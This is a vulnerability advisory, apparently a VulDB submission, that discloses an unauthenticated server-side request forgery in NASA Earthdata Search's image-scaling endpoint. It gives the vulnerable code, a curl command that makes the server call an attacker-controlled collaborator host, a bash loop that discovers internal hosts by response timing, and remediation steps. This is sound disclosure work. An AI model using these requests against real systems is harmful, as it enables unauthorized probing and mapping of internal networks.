| शीर्षक | Nasa earthdata-search 1.0.0 Access to Critical Private Variable via Public Method |
|---|
| विवरण | # Unauthenticated Server-Side Request Forgery in NASA Earthdata Search via the image-scaling endpoint
**Project:** nasa/earthdata-search (NASA EOSDIS Earth science data discovery web application)
**Component:** `scaleImage` service (`serverless/src/scaleImage/handler.js`), route `GET /scale`
**Affected versions:** 1.0.0 and all prior versions (master HEAD `bd935b23f`, 2026-07-06).
**Class:** CWE-918 (Server-Side Request Forgery)
**Severity:** High. CVSS v3.1 **7.5** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`.
**Status:** confirmed live via DAST, 2026-07-06.
## Summary
`GET /scale?imageSrc=<URL>` makes the server fetch any attacker-supplied URL, with no authentication and no validation of the URL. On its own this looks like a harmless blind SSRF (the response is always the same default image). It is not harmless: the same primitive lets an unauthenticated attacker use the server as a proxy to map the internal network it sits in, one request at a time.
## Root cause
The handler takes `imageSrc` from the query string and fetches it directly:
```js
// serverless/src/scaleImage/utils/downloadImageFromSource.js:9
export const downloadImageFromSource = async (imageUrl) => {
const response = await axios({
url: imageUrl, // attacker-controlled, no scheme / host / IP validation
method: 'get',
responseType: 'arraybuffer',
timeout: requestTimeout()
})
return response.data
}
```
There is no allowlist, no blocking of private/link-local ranges, and `axios` follows redirects. The route is public: in `cdk/earthdata-search/lib/earthdata-search-functions.ts` the `ScaleImageLambda` method (`path: 'scale'`, `GET`) has no `authorizer`, so its API Gateway AuthorizationType is `NONE` (unlike sibling routes that set `edlAuthorizer`).
## Evidence 1 - the SSRF
Point `imageSrc` at a collaborator you control and send one unauthenticated request:
```bash
curl -s -o /dev/null -w "HTTP %{http_code}\n" \
"https://TARGET/scale?imageSrc=http://your-collaborator.example/-/edsc-ssrf&w=10&h=10"
# -> HTTP 200
```
![[Pasted image 20260706161306.png]]
The server calls out to the attacker URL. The captured callback (note the `axios` User-Agent, i.e. the server's own HTTP client):
```
GET /-/edsc-ssrf HTTP/1.1
Host: 9hvf2vyi.instances.httpworkbench.com
User-Agent: axios/1.18.0
```
## Evidence 2 - internal host discovery
The status is always 200, but the **response time is not constant**. The server's fetch either connects/refuses fast (reachable host) or hangs until the timeout (dark host). That timing difference is an oracle: an unauthenticated attacker maps which internal hosts are alive.
To prove it across a real boundary (not a shared LAN), the primitive was run in a production-like topology: the vulnerable server has one foot on the public edge and one foot on an isolated internal subnet the attacker cannot route to (a Docker `--internal` network `172.30.0.0/24`; `172.30.0.10`/`.11` up, the rest dark).
First, the attacker has no path to the internal subnet directly:
```bash
# from the attacker host
curl -s -o /dev/null -w "%{http_code}\n" -m 5 http://172.30.0.10/
# -> 000 : unreachable
```
![[Pasted image 20260706175450.png]]
Then, through the public endpoint only, classify internal hosts by response time:
```bash
for t in 172.30.0.10 172.30.0.11 172.30.0.12 172.30.0.20 172.30.0.50; do
printf "%-14s " "$t"
curl -s -o /dev/null -w "%{time_total}s\n" -m 10 "http://TARGET:8002/scale?imageSrc=http://$t/"
done
```
```
172.30.0.10 0.017390s -> alive
172.30.0.11 0.005105s -> alive
172.30.0.12 3.055125s -> dark (timeout)
172.30.0.20 3.059294s -> dark (timeout)
172.30.0.50 3.118222s -> dark (timeout)
```
![[Pasted image 20260706175851.png]]
The attacker has zero route to `172.30.0.0/24`, yet through `/scale` it correctly picks out which internal hosts are alive. That is unauthenticated internal host discovery, from outside, using the server as a proxy. Sweeping a range this way maps the internal network.
This is host discovery, not a port scan: on a reachable host a closed port answers with a fast reset just like an open one, so timing separates alive hosts from dark ones, not open ports from closed ones.
## Impact
An unauthenticated, remote attacker can:
- Map the internal network: enumerate which internal, otherwise-unreachable hosts are alive from the server's position, by timing responses.
- Reach internal services (databases, caches, internal load balancers, admin/metrics endpoints) that are not exposed to the internet, using the server as an SSRF proxy.
- Follow redirects to pivot from an allowed-looking host to an internal target.
## Remediation
- Validate `imageSrc` before fetching: require an expected scheme and match the host against an allowlist of known image hosts.
- Block private, loopback, and link-local ranges (`127.0.0.0/8`, `x.x.x.x/16`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`), and re-validate after any redirect (or disable redirect following).
- Add an authorizer to the `ScaleImageLambda` route if it is not meant to be public.
## References
- `serverless/src/scaleImage/handler.js` (`imageSrc` from query; any error returns a default image with HTTP 200, so the endpoint is blind by status)
- `serverless/src/scaleImage/utils/downloadImageFromSource.js:9` (`axios({ url: imageUrl })`, no validation, follows redirects)
- `serverless/src/util/requestTimeout.js` (fetch timeout; the reachable-vs-timeout latency gap is the discovery oracle)
- `cdk/earthdata-search/lib/earthdata-search-functions.ts` (`ScaleImageLambda`, no authorizer)
- [CWE-918](https://cwe.mitre.org/data/definitions/918.html) · [OWASP API7:2023 SSRF](https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/)
|
|---|
| स्रोत | ⚠️ https://github.com/natanmorette-thoropass/thoropass-vuln-research-program/tree/main/2026/Unauthenticated%20Scale%20Image%20SSRF |
|---|
| उपयोगकर्ता | nmmorette (UID 87361) |
|---|
| सबमिशन | 07/07/2026 01:13 AM (2 महीनों पहले) |
|---|
| संयम | 31/08/2026 06:21 AM (2 months later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 397222 [NASA earthdata-search 1.0.0 scale Endpoint handler.js scaleImage अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|